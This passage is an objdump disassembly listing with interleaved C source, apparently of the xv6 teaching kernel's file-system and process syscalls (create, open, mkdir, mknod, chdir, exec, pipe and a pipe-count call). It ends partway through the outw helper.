80105d7a: 8b 45 d0 mov -0x30(%ebp),%eax
80105d7d: 66 89 42 52 mov %ax,0x52(%edx)
ip->minor = minor;
80105d81: 8b 55 f0 mov -0x10(%ebp),%edx
80105d84: 8b 45 cc mov -0x34(%ebp),%eax
80105d87: 66 89 42 54 mov %ax,0x54(%edx)
ip->nlink = 1;
80105d8b: 8b 45 f0 mov -0x10(%ebp),%eax
80105d8e: 66 c7 40 56 01 00 movw $0x1,0x56(%eax)
iupdate(ip);
80105d94: 8b 45 f0 mov -0x10(%ebp),%eax
80105d97: 89 04 24 mov %eax,(%esp)
80105d9a: e8 bc b9 ff ff call 8010175b <iupdate>
if(type == T_DIR){ // Create . and .. entries.
80105d9f: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp)
80105da4: 75 68 jne 80105e0e <create+0x17f>
dp->nlink++; // for ".."
80105da6: 8b 45 f4 mov -0xc(%ebp),%eax
80105da9: 66 8b 40 56 mov 0x56(%eax),%ax
80105dad: 40 inc %eax
80105dae: 8b 55 f4 mov -0xc(%ebp),%edx
80105db1: 66 89 42 56 mov %ax,0x56(%edx)
iupdate(dp);
80105db5: 8b 45 f4 mov -0xc(%ebp),%eax
80105db8: 89 04 24 mov %eax,(%esp)
80105dbb: e8 9b b9 ff ff call 8010175b <iupdate>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
80105dc0: 8b 45 f0 mov -0x10(%ebp),%eax
80105dc3: 8b 40 04 mov 0x4(%eax),%eax
80105dc6: 89 44 24 08 mov %eax,0x8(%esp)
80105dca: c7 44 24 04 b0 89 10 movl $0x801089b0,0x4(%esp)
80105dd1: 80
80105dd2: 8b 45 f0 mov -0x10(%ebp),%eax
80105dd5: 89 04 24 mov %eax,(%esp)
80105dd8: e8 a0 c3 ff ff call 8010217d <dirlink>
80105ddd: 85 c0 test %eax,%eax
80105ddf: 78 21 js 80105e02 <create+0x173>
80105de1: 8b 45 f4 mov -0xc(%ebp),%eax
80105de4: 8b 40 04 mov 0x4(%eax),%eax
80105de7: 89 44 24 08 mov %eax,0x8(%esp)
80105deb: c7 44 24 04 b2 89 10 movl $0x801089b2,0x4(%esp)
80105df2: 80
80105df3: 8b 45 f0 mov -0x10(%ebp),%eax
80105df6: 89 04 24 mov %eax,(%esp)
80105df9: e8 7f c3 ff ff call 8010217d <dirlink>
80105dfe: 85 c0 test %eax,%eax
80105e00: 79 0c jns 80105e0e <create+0x17f>
panic("create dots");
80105e02: c7 04 24 e5 89 10 80 movl $0x801089e5,(%esp)
80105e09: e8 46 a7 ff ff call 80100554 <panic>
}
if(dirlink(dp, name, ip->inum) < 0)
80105e0e: 8b 45 f0 mov -0x10(%ebp),%eax
80105e11: 8b 40 04 mov 0x4(%eax),%eax
80105e14: 89 44 24 08 mov %eax,0x8(%esp)
80105e18: 8d 45 de lea -0x22(%ebp),%eax
80105e1b: 89 44 24 04 mov %eax,0x4(%esp)
80105e1f: 8b 45 f4 mov -0xc(%ebp),%eax
80105e22: 89 04 24 mov %eax,(%esp)
80105e25: e8 53 c3 ff ff call 8010217d <dirlink>
80105e2a: 85 c0 test %eax,%eax
80105e2c: 79 0c jns 80105e3a <create+0x1ab>
panic("create: dirlink");
80105e2e: c7 04 24 f1 89 10 80 movl $0x801089f1,(%esp)
80105e35: e8 1a a7 ff ff call 80100554 <panic>
iunlockput(dp);
80105e3a: 8b 45 f4 mov -0xc(%ebp),%eax
80105e3d: 89 04 24 mov %eax,(%esp)
80105e40: e8 c5 bc ff ff call 80101b0a <iunlockput>
return ip;
80105e45: 8b 45 f0 mov -0x10(%ebp),%eax
}
80105e48: c9 leave
80105e49: c3 ret
80105e4a <sys_open>:
int
sys_open(void)
{
80105e4a: 55 push %ebp
80105e4b: 89 e5 mov %esp,%ebp
80105e4d: 83 ec 38 sub $0x38,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
80105e50: 8d 45 e8 lea -0x18(%ebp),%eax
80105e53: 89 44 24 04 mov %eax,0x4(%esp)
80105e57: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105e5e: e8 e9 f6 ff ff call 8010554c <argstr>
80105e63: 85 c0 test %eax,%eax
80105e65: 78 17 js 80105e7e <sys_open+0x34>
80105e67: 8d 45 e4 lea -0x1c(%ebp),%eax
80105e6a: 89 44 24 04 mov %eax,0x4(%esp)
80105e6e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105e75: e8 3c f6 ff ff call 801054b6 <argint>
80105e7a: 85 c0 test %eax,%eax
80105e7c: 79 0a jns 80105e88 <sys_open+0x3e>
return -1;
80105e7e: b8 ff ff ff ff mov $0xffffffff,%eax
80105e83: e9 5b 01 00 00 jmp 80105fe3 <sys_open+0x199>
begin_op();
80105e88: e8 36 d6 ff ff call 801034c3 <begin_op>
if(omode & O_CREATE){
80105e8d: 8b 45 e4 mov -0x1c(%ebp),%eax
80105e90: 25 00 02 00 00 and $0x200,%eax
80105e95: 85 c0 test %eax,%eax
80105e97: 74 3b je 80105ed4 <sys_open+0x8a>
ip = create(path, T_FILE, 0, 0);
80105e99: 8b 45 e8 mov -0x18(%ebp),%eax
80105e9c: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
80105ea3: 00
80105ea4: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80105eab: 00
80105eac: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
80105eb3: 00
80105eb4: 89 04 24 mov %eax,(%esp)
80105eb7: e8 d3 fd ff ff call 80105c8f <create>
80105ebc: 89 45 f4 mov %eax,-0xc(%ebp)
if(ip == 0){
80105ebf: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105ec3: 75 6a jne 80105f2f <sys_open+0xe5>
end_op();
80105ec5: e8 7b d6 ff ff call 80103545 <end_op>
return -1;
80105eca: b8 ff ff ff ff mov $0xffffffff,%eax
80105ecf: e9 0f 01 00 00 jmp 80105fe3 <sys_open+0x199>
}
} else {
if((ip = namei(path)) == 0){
80105ed4: 8b 45 e8 mov -0x18(%ebp),%eax
80105ed7: 89 04 24 mov %eax,(%esp)
80105eda: e8 52 c5 ff ff call 80102431 <namei>
80105edf: 89 45 f4 mov %eax,-0xc(%ebp)
80105ee2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105ee6: 75 0f jne 80105ef7 <sys_open+0xad>
end_op();
80105ee8: e8 58 d6 ff ff call 80103545 <end_op>
return -1;
80105eed: b8 ff ff ff ff mov $0xffffffff,%eax
80105ef2: e9 ec 00 00 00 jmp 80105fe3 <sys_open+0x199>
}
ilock(ip);
80105ef7: 8b 45 f4 mov -0xc(%ebp),%eax
80105efa: 89 04 24 mov %eax,(%esp)
80105efd: e8 1c ba ff ff call 8010191e <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80105f02: 8b 45 f4 mov -0xc(%ebp),%eax
80105f05: 8b 40 50 mov 0x50(%eax),%eax
80105f08: 66 83 f8 01 cmp $0x1,%ax
80105f0c: 75 21 jne 80105f2f <sys_open+0xe5>
80105f0e: 8b 45 e4 mov -0x1c(%ebp),%eax
80105f11: 85 c0 test %eax,%eax
80105f13: 74 1a je 80105f2f <sys_open+0xe5>
iunlockput(ip);
80105f15: 8b 45 f4 mov -0xc(%ebp),%eax
80105f18: 89 04 24 mov %eax,(%esp)
80105f1b: e8 ea bb ff ff call 80101b0a <iunlockput>
end_op();
80105f20: e8 20 d6 ff ff call 80103545 <end_op>
return -1;
80105f25: b8 ff ff ff ff mov $0xffffffff,%eax
80105f2a: e9 b4 00 00 00 jmp 80105fe3 <sys_open+0x199>
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80105f2f: e8 28 b0 ff ff call 80100f5c <filealloc>
80105f34: 89 45 f0 mov %eax,-0x10(%ebp)
80105f37: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105f3b: 74 14 je 80105f51 <sys_open+0x107>
80105f3d: 8b 45 f0 mov -0x10(%ebp),%eax
80105f40: 89 04 24 mov %eax,(%esp)
80105f43: e8 41 f7 ff ff call 80105689 <fdalloc>
80105f48: 89 45 ec mov %eax,-0x14(%ebp)
80105f4b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80105f4f: 79 28 jns 80105f79 <sys_open+0x12f>
if(f)
80105f51: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105f55: 74 0b je 80105f62 <sys_open+0x118>
fileclose(f);
80105f57: 8b 45 f0 mov -0x10(%ebp),%eax
80105f5a: 89 04 24 mov %eax,(%esp)
80105f5d: e8 a2 b0 ff ff call 80101004 <fileclose>
iunlockput(ip);
80105f62: 8b 45 f4 mov -0xc(%ebp),%eax
80105f65: 89 04 24 mov %eax,(%esp)
80105f68: e8 9d bb ff ff call 80101b0a <iunlockput>
end_op();
80105f6d: e8 d3 d5 ff ff call 80103545 <end_op>
return -1;
80105f72: b8 ff ff ff ff mov $0xffffffff,%eax
80105f77: eb 6a jmp 80105fe3 <sys_open+0x199>
}
iunlock(ip);
80105f79: 8b 45 f4 mov -0xc(%ebp),%eax
80105f7c: 89 04 24 mov %eax,(%esp)
80105f7f: e8 ae ba ff ff call 80101a32 <iunlock>
end_op();
80105f84: e8 bc d5 ff ff call 80103545 <end_op>
f->type = FD_INODE;
80105f89: 8b 45 f0 mov -0x10(%ebp),%eax
80105f8c: c7 00 02 00 00 00 movl $0x2,(%eax)
f->ip = ip;
80105f92: 8b 45 f0 mov -0x10(%ebp),%eax
80105f95: 8b 55 f4 mov -0xc(%ebp),%edx
80105f98: 89 50 10 mov %edx,0x10(%eax)
f->off = 0;
80105f9b: 8b 45 f0 mov -0x10(%ebp),%eax
80105f9e: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
f->readable = !(omode & O_WRONLY);
80105fa5: 8b 45 e4 mov -0x1c(%ebp),%eax
80105fa8: 83 e0 01 and $0x1,%eax
80105fab: 85 c0 test %eax,%eax
80105fad: 0f 94 c0 sete %al
80105fb0: 88 c2 mov %al,%dl
80105fb2: 8b 45 f0 mov -0x10(%ebp),%eax
80105fb5: 88 50 08 mov %dl,0x8(%eax)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80105fb8: 8b 45 e4 mov -0x1c(%ebp),%eax
80105fbb: 83 e0 01 and $0x1,%eax
80105fbe: 85 c0 test %eax,%eax
80105fc0: 75 0a jne 80105fcc <sys_open+0x182>
80105fc2: 8b 45 e4 mov -0x1c(%ebp),%eax
80105fc5: 83 e0 02 and $0x2,%eax
80105fc8: 85 c0 test %eax,%eax
80105fca: 74 07 je 80105fd3 <sys_open+0x189>
80105fcc: b8 01 00 00 00 mov $0x1,%eax
80105fd1: eb 05 jmp 80105fd8 <sys_open+0x18e>
80105fd3: b8 00 00 00 00 mov $0x0,%eax
80105fd8: 88 c2 mov %al,%dl
80105fda: 8b 45 f0 mov -0x10(%ebp),%eax
80105fdd: 88 50 09 mov %dl,0x9(%eax)
return fd;
80105fe0: 8b 45 ec mov -0x14(%ebp),%eax
}
80105fe3: c9 leave
80105fe4: c3 ret
80105fe5 <sys_mkdir>:
int
sys_mkdir(void)
{
80105fe5: 55 push %ebp
80105fe6: 89 e5 mov %esp,%ebp
80105fe8: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
80105feb: e8 d3 d4 ff ff call 801034c3 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
80105ff0: 8d 45 f0 lea -0x10(%ebp),%eax
80105ff3: 89 44 24 04 mov %eax,0x4(%esp)
80105ff7: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105ffe: e8 49 f5 ff ff call 8010554c <argstr>
80106003: 85 c0 test %eax,%eax
80106005: 78 2c js 80106033 <sys_mkdir+0x4e>
80106007: 8b 45 f0 mov -0x10(%ebp),%eax
8010600a: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
80106011: 00
80106012: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80106019: 00
8010601a: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80106021: 00
80106022: 89 04 24 mov %eax,(%esp)
80106025: e8 65 fc ff ff call 80105c8f <create>
8010602a: 89 45 f4 mov %eax,-0xc(%ebp)
8010602d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106031: 75 0c jne 8010603f <sys_mkdir+0x5a>
end_op();
80106033: e8 0d d5 ff ff call 80103545 <end_op>
return -1;
80106038: b8 ff ff ff ff mov $0xffffffff,%eax
8010603d: eb 15 jmp 80106054 <sys_mkdir+0x6f>
}
iunlockput(ip);
8010603f: 8b 45 f4 mov -0xc(%ebp),%eax
80106042: 89 04 24 mov %eax,(%esp)
80106045: e8 c0 ba ff ff call 80101b0a <iunlockput>
end_op();
8010604a: e8 f6 d4 ff ff call 80103545 <end_op>
return 0;
8010604f: b8 00 00 00 00 mov $0x0,%eax
}
80106054: c9 leave
80106055: c3 ret
80106056 <sys_mknod>:
int
sys_mknod(void)
{
80106056: 55 push %ebp
80106057: 89 e5 mov %esp,%ebp
80106059: 83 ec 28 sub $0x28,%esp
struct inode *ip;
char *path;
int major, minor;
begin_op();
8010605c: e8 62 d4 ff ff call 801034c3 <begin_op>
if((argstr(0, &path)) < 0 ||
80106061: 8d 45 f0 lea -0x10(%ebp),%eax
80106064: 89 44 24 04 mov %eax,0x4(%esp)
80106068: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010606f: e8 d8 f4 ff ff call 8010554c <argstr>
80106074: 85 c0 test %eax,%eax
80106076: 78 5e js 801060d6 <sys_mknod+0x80>
argint(1, &major) < 0 ||
80106078: 8d 45 ec lea -0x14(%ebp),%eax
8010607b: 89 44 24 04 mov %eax,0x4(%esp)
8010607f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80106086: e8 2b f4 ff ff call 801054b6 <argint>
struct inode *ip;
char *path;
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
8010608b: 85 c0 test %eax,%eax
8010608d: 78 47 js 801060d6 <sys_mknod+0x80>
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
8010608f: 8d 45 e8 lea -0x18(%ebp),%eax
80106092: 89 44 24 04 mov %eax,0x4(%esp)
80106096: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8010609d: e8 14 f4 ff ff call 801054b6 <argint>
char *path;
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
801060a2: 85 c0 test %eax,%eax
801060a4: 78 30 js 801060d6 <sys_mknod+0x80>
argint(2, &minor) < 0 ||
(ip = create(path, T_DEV, major, minor)) == 0){
801060a6: 8b 45 e8 mov -0x18(%ebp),%eax
801060a9: 0f bf c8 movswl %ax,%ecx
801060ac: 8b 45 ec mov -0x14(%ebp),%eax
801060af: 0f bf d0 movswl %ax,%edx
801060b2: 8b 45 f0 mov -0x10(%ebp),%eax
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
801060b5: 89 4c 24 0c mov %ecx,0xc(%esp)
801060b9: 89 54 24 08 mov %edx,0x8(%esp)
801060bd: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
801060c4: 00
801060c5: 89 04 24 mov %eax,(%esp)
801060c8: e8 c2 fb ff ff call 80105c8f <create>
801060cd: 89 45 f4 mov %eax,-0xc(%ebp)
801060d0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801060d4: 75 0c jne 801060e2 <sys_mknod+0x8c>
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
801060d6: e8 6a d4 ff ff call 80103545 <end_op>
return -1;
801060db: b8 ff ff ff ff mov $0xffffffff,%eax
801060e0: eb 15 jmp 801060f7 <sys_mknod+0xa1>
}
iunlockput(ip);
801060e2: 8b 45 f4 mov -0xc(%ebp),%eax
801060e5: 89 04 24 mov %eax,(%esp)
801060e8: e8 1d ba ff ff call 80101b0a <iunlockput>
end_op();
801060ed: e8 53 d4 ff ff call 80103545 <end_op>
return 0;
801060f2: b8 00 00 00 00 mov $0x0,%eax
}
801060f7: c9 leave
801060f8: c3 ret
801060f9 <sys_chdir>:
int
sys_chdir(void)
{
801060f9: 55 push %ebp
801060fa: 89 e5 mov %esp,%ebp
801060fc: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
801060ff: e8 bf d3 ff ff call 801034c3 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80106104: 8d 45 f0 lea -0x10(%ebp),%eax
80106107: 89 44 24 04 mov %eax,0x4(%esp)
8010610b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106112: e8 35 f4 ff ff call 8010554c <argstr>
80106117: 85 c0 test %eax,%eax
80106119: 78 14 js 8010612f <sys_chdir+0x36>
8010611b: 8b 45 f0 mov -0x10(%ebp),%eax
8010611e: 89 04 24 mov %eax,(%esp)
80106121: e8 0b c3 ff ff call 80102431 <namei>
80106126: 89 45 f4 mov %eax,-0xc(%ebp)
80106129: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010612d: 75 0c jne 8010613b <sys_chdir+0x42>
end_op();
8010612f: e8 11 d4 ff ff call 80103545 <end_op>
return -1;
80106134: b8 ff ff ff ff mov $0xffffffff,%eax
80106139: eb 60 jmp 8010619b <sys_chdir+0xa2>
}
ilock(ip);
8010613b: 8b 45 f4 mov -0xc(%ebp),%eax
8010613e: 89 04 24 mov %eax,(%esp)
80106141: e8 d8 b7 ff ff call 8010191e <ilock>
if(ip->type != T_DIR){
80106146: 8b 45 f4 mov -0xc(%ebp),%eax
80106149: 8b 40 50 mov 0x50(%eax),%eax
8010614c: 66 83 f8 01 cmp $0x1,%ax
80106150: 74 17 je 80106169 <sys_chdir+0x70>
iunlockput(ip);
80106152: 8b 45 f4 mov -0xc(%ebp),%eax
80106155: 89 04 24 mov %eax,(%esp)
80106158: e8 ad b9 ff ff call 80101b0a <iunlockput>
end_op();
8010615d: e8 e3 d3 ff ff call 80103545 <end_op>
return -1;
80106162: b8 ff ff ff ff mov $0xffffffff,%eax
80106167: eb 32 jmp 8010619b <sys_chdir+0xa2>
}
iunlock(ip);
80106169: 8b 45 f4 mov -0xc(%ebp),%eax
8010616c: 89 04 24 mov %eax,(%esp)
8010616f: e8 be b8 ff ff call 80101a32 <iunlock>
iput(proc->cwd);
80106174: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010617a: 8b 40 68 mov 0x68(%eax),%eax
8010617d: 89 04 24 mov %eax,(%esp)
80106180: e8 f1 b8 ff ff call 80101a76 <iput>
end_op();
80106185: e8 bb d3 ff ff call 80103545 <end_op>
proc->cwd = ip;
8010618a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106190: 8b 55 f4 mov -0xc(%ebp),%edx
80106193: 89 50 68 mov %edx,0x68(%eax)
return 0;
80106196: b8 00 00 00 00 mov $0x0,%eax
}
8010619b: c9 leave
8010619c: c3 ret
8010619d <sys_exec>:
int
sys_exec(void)
{
8010619d: 55 push %ebp
8010619e: 89 e5 mov %esp,%ebp
801061a0: 81 ec a8 00 00 00 sub $0xa8,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
801061a6: 8d 45 f0 lea -0x10(%ebp),%eax
801061a9: 89 44 24 04 mov %eax,0x4(%esp)
801061ad: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801061b4: e8 93 f3 ff ff call 8010554c <argstr>
801061b9: 85 c0 test %eax,%eax
801061bb: 78 1a js 801061d7 <sys_exec+0x3a>
801061bd: 8d 85 6c ff ff ff lea -0x94(%ebp),%eax
801061c3: 89 44 24 04 mov %eax,0x4(%esp)
801061c7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801061ce: e8 e3 f2 ff ff call 801054b6 <argint>
801061d3: 85 c0 test %eax,%eax
801061d5: 79 0a jns 801061e1 <sys_exec+0x44>
return -1;
801061d7: b8 ff ff ff ff mov $0xffffffff,%eax
801061dc: e9 c7 00 00 00 jmp 801062a8 <sys_exec+0x10b>
}
memset(argv, 0, sizeof(argv));
801061e1: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
801061e8: 00
801061e9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801061f0: 00
801061f1: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax
801061f7: 89 04 24 mov %eax,(%esp)
801061fa: e8 8b ef ff ff call 8010518a <memset>
for(i=0;; i++){
801061ff: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if(i >= NELEM(argv))
80106206: 8b 45 f4 mov -0xc(%ebp),%eax
80106209: 83 f8 1f cmp $0x1f,%eax
8010620c: 76 0a jbe 80106218 <sys_exec+0x7b>
return -1;
8010620e: b8 ff ff ff ff mov $0xffffffff,%eax
80106213: e9 90 00 00 00 jmp 801062a8 <sys_exec+0x10b>
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
80106218: 8b 45 f4 mov -0xc(%ebp),%eax
8010621b: c1 e0 02 shl $0x2,%eax
8010621e: 89 c2 mov %eax,%edx
80106220: 8b 85 6c ff ff ff mov -0x94(%ebp),%eax
80106226: 01 c2 add %eax,%edx
80106228: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
8010622e: 89 44 24 04 mov %eax,0x4(%esp)
80106232: 89 14 24 mov %edx,(%esp)
80106235: e8 e2 f1 ff ff call 8010541c <fetchint>
8010623a: 85 c0 test %eax,%eax
8010623c: 79 07 jns 80106245 <sys_exec+0xa8>
return -1;
8010623e: b8 ff ff ff ff mov $0xffffffff,%eax
80106243: eb 63 jmp 801062a8 <sys_exec+0x10b>
if(uarg == 0){
80106245: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax
8010624b: 85 c0 test %eax,%eax
8010624d: 75 26 jne 80106275 <sys_exec+0xd8>
argv[i] = 0;
8010624f: 8b 45 f4 mov -0xc(%ebp),%eax
80106252: c7 84 85 70 ff ff ff movl $0x0,-0x90(%ebp,%eax,4)
80106259: 00 00 00 00
break;
8010625d: 90 nop
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
8010625e: 8b 45 f0 mov -0x10(%ebp),%eax
80106261: 8d 95 70 ff ff ff lea -0x90(%ebp),%edx
80106267: 89 54 24 04 mov %edx,0x4(%esp)
8010626b: 89 04 24 mov %eax,(%esp)
8010626e: e8 8d a8 ff ff call 80100b00 <exec>
80106273: eb 33 jmp 801062a8 <sys_exec+0x10b>
return -1;
if(uarg == 0){
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
80106275: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax
8010627b: 8b 55 f4 mov -0xc(%ebp),%edx
8010627e: c1 e2 02 shl $0x2,%edx
80106281: 01 c2 add %eax,%edx
80106283: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax
80106289: 89 54 24 04 mov %edx,0x4(%esp)
8010628d: 89 04 24 mov %eax,(%esp)
80106290: e8 c1 f1 ff ff call 80105456 <fetchstr>
80106295: 85 c0 test %eax,%eax
80106297: 79 07 jns 801062a0 <sys_exec+0x103>
return -1;
80106299: b8 ff ff ff ff mov $0xffffffff,%eax
8010629e: eb 08 jmp 801062a8 <sys_exec+0x10b>
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
for(i=0;; i++){
801062a0: ff 45 f4 incl -0xc(%ebp)
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
801062a3: e9 5e ff ff ff jmp 80106206 <sys_exec+0x69>
return exec(path, argv);
}
801062a8: c9 leave
801062a9: c3 ret
801062aa <sys_pipe>:
int
sys_pipe(void)
{
801062aa: 55 push %ebp
801062ab: 89 e5 mov %esp,%ebp
801062ad: 83 ec 38 sub $0x38,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801062b0: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp)
801062b7: 00
801062b8: 8d 45 ec lea -0x14(%ebp),%eax
801062bb: 89 44 24 04 mov %eax,0x4(%esp)
801062bf: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801062c6: e8 19 f2 ff ff call 801054e4 <argptr>
801062cb: 85 c0 test %eax,%eax
801062cd: 79 0a jns 801062d9 <sys_pipe+0x2f>
return -1;
801062cf: b8 ff ff ff ff mov $0xffffffff,%eax
801062d4: e9 9b 00 00 00 jmp 80106374 <sys_pipe+0xca>
if(pipealloc(&rf, &wf) < 0)
801062d9: 8d 45 e4 lea -0x1c(%ebp),%eax
801062dc: 89 44 24 04 mov %eax,0x4(%esp)
801062e0: 8d 45 e8 lea -0x18(%ebp),%eax
801062e3: 89 04 24 mov %eax,(%esp)
801062e6: e8 05 dc ff ff call 80103ef0 <pipealloc>
801062eb: 85 c0 test %eax,%eax
801062ed: 79 07 jns 801062f6 <sys_pipe+0x4c>
return -1;
801062ef: b8 ff ff ff ff mov $0xffffffff,%eax
801062f4: eb 7e jmp 80106374 <sys_pipe+0xca>
fd0 = -1;
801062f6: c7 45 f4 ff ff ff ff movl $0xffffffff,-0xc(%ebp)
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
801062fd: 8b 45 e8 mov -0x18(%ebp),%eax
80106300: 89 04 24 mov %eax,(%esp)
80106303: e8 81 f3 ff ff call 80105689 <fdalloc>
80106308: 89 45 f4 mov %eax,-0xc(%ebp)
8010630b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010630f: 78 14 js 80106325 <sys_pipe+0x7b>
80106311: 8b 45 e4 mov -0x1c(%ebp),%eax
80106314: 89 04 24 mov %eax,(%esp)
80106317: e8 6d f3 ff ff call 80105689 <fdalloc>
8010631c: 89 45 f0 mov %eax,-0x10(%ebp)
8010631f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80106323: 79 37 jns 8010635c <sys_pipe+0xb2>
if(fd0 >= 0)
80106325: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106329: 78 14 js 8010633f <sys_pipe+0x95>
proc->ofile[fd0] = 0;
8010632b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106331: 8b 55 f4 mov -0xc(%ebp),%edx
80106334: 83 c2 08 add $0x8,%edx
80106337: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
8010633e: 00
fileclose(rf);
8010633f: 8b 45 e8 mov -0x18(%ebp),%eax
80106342: 89 04 24 mov %eax,(%esp)
80106345: e8 ba ac ff ff call 80101004 <fileclose>
fileclose(wf);
8010634a: 8b 45 e4 mov -0x1c(%ebp),%eax
8010634d: 89 04 24 mov %eax,(%esp)
80106350: e8 af ac ff ff call 80101004 <fileclose>
return -1;
80106355: b8 ff ff ff ff mov $0xffffffff,%eax
8010635a: eb 18 jmp 80106374 <sys_pipe+0xca>
}
fd[0] = fd0;
8010635c: 8b 45 ec mov -0x14(%ebp),%eax
8010635f: 8b 55 f4 mov -0xc(%ebp),%edx
80106362: 89 10 mov %edx,(%eax)
fd[1] = fd1;
80106364: 8b 45 ec mov -0x14(%ebp),%eax
80106367: 8d 50 04 lea 0x4(%eax),%edx
8010636a: 8b 45 f0 mov -0x10(%ebp),%eax
8010636d: 89 02 mov %eax,(%edx)
return 0;
8010636f: b8 00 00 00 00 mov $0x0,%eax
}
80106374: c9 leave
80106375: c3 ret
80106376 <sys_pipe_count>:
int
sys_pipe_count(void)
{
80106376: 55 push %ebp
80106377: 89 e5 mov %esp,%ebp
80106379: 83 ec 28 sub $0x28,%esp
struct file *f;
if(argfd(0, 0, &f) < 0) {
8010637c: 8d 45 f4 lea -0xc(%ebp),%eax
8010637f: 89 44 24 08 mov %eax,0x8(%esp)
80106383: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010638a: 00
8010638b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106392: e8 7d f2 ff ff call 80105614 <argfd>
80106397: 85 c0 test %eax,%eax
80106399: 79 07 jns 801063a2 <sys_pipe_count+0x2c>
return -1;
8010639b: b8 ff ff ff ff mov $0xffffffff,%eax
801063a0: eb 0e jmp 801063b0 <sys_pipe_count+0x3a>
}
return pipe_count(f->pipe);
801063a2: 8b 45 f4 mov -0xc(%ebp),%eax
801063a5: 8b 40 0c mov 0xc(%eax),%eax
801063a8: 89 04 24 mov %eax,(%esp)
801063ab: e8 f1 de ff ff call 801042a1 <pipe_count>
}
801063b0: c9 leave
801063b1: c3 ret
...
801063b4 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
801063b4: 55 push %ebp
801063b5: 89 e5 mov %esp,%ebp
801063b7: 83 ec 08 sub $0x8,%esp
801063ba: 8b 45 08 mov 0x8(%ebp),%eax
801063bd: 8b 55 0c mov 0xc(%ebp),%edx
801063c0: 66 89 45 fc mov %ax,-0x4(%ebp)
801063c4: 88 55 f8 mov %dl,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801063c7: 8a 45 f8 mov -0x8(%ebp),%al
801063ca: 8b 55 fc mov -0x4(%ebp),%edx
801063cd: ee out %al,(%dx)
}
801063ce: c9 leave
801063cf: c3 ret
801063d0 <outw>:
static inline void
outw(ushort port, ushort data)
{
801063d0: 55 push %ebp
801063d1: 89 e5 mov %esp,%ebp
801063d3: 83 ec 08 sub $0x8,%esp
801063d6: 8b 55 08 mov 0x8(%ebp),%edx
